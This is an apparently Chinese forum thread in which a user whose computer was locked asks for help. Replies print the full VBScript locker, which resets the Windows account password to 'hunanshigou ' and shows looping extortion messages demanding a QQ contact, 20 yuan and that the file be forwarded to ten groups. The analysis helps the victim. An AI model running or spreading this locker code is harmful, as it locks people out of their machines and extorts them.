电脑被锁机了求大佬帮帮忙

yatbw6432

下载地址链接：https://share.weiyun.com/5lVCic8求大佬看看锁机密码多少

KARMA07007

Const strPassword = "hunanshigou "'   

天道法海

Const strPassword = "hunanshigou "'   
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
do
msgbox"你的电脑密码已被黑客修改，去加我qqxxxxxxxxxx 重启动是没用的 不然你会被锁的 你先加qq 莫要后悔 如果装逼就重启吧 先记住我qq 然后去把这个文件转发10个群必须截图 否则 哼哼 你懂得 黑客帝国 就是如此吊莫去装逼，准备好钱找我 20元哦，我等你哦"
msgbox"来加我给你密码."
loop
- -压根幼儿园都没毕业的吧？楼主，这种vbe，vbs，bat文件后缀可以用notepad++或者其他的一些文本编辑器打开，可以直接看到源代码，部分加密的需要解密

KARMA07007

Const strPassword = "hunanshigou "'   
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
do
msgbox"你的电脑密码已被黑客修改，去加我qq2921864950 重启动是没用的 不然你会被锁的 你先加qq 莫要后悔 如果装逼就重启吧 先记住我qq 然后去把这个文件转发10个群必须截图 否则 哼哼 你懂得 黑客帝国 就是如此吊莫去装逼，准备好钱找我 20元哦，我等你哦"
msgbox"来加我给你密码."
loop

yatbw6432

LGLG 发表于 2019-7-28 19:26
Const strPassword = "hunanshigou "'

谢谢大佬6666

Sir丶九道

LGLG 发表于 2019-7-28 19:25
Const strPassword = "hunanshigou "'   
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Netw ...

搞定了，给我说一声，关注一下大佬

fortytwo

LGLG 发表于 2019-7-28 19:26
Const strPassword = "hunanshigou "'

湖南是狗（这人还是个地域黑鸭

Raohz520

LGLG 发表于 2019-7-28 19:25
Const strPassword = "hunanshigou "'   
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Netw ...

这个作者怕不是个二愣子   一个锁机  被说说成 神话

阿苏斯

哈哈，刚试了下，重启给加了个账号锁，密码也有意思 胡楠是狗 哈哈哈哈 后面还有个空格

chenbangbin

膜拜楼上的大神

虫与二

站里大佬多呀，膜拜前排大佬们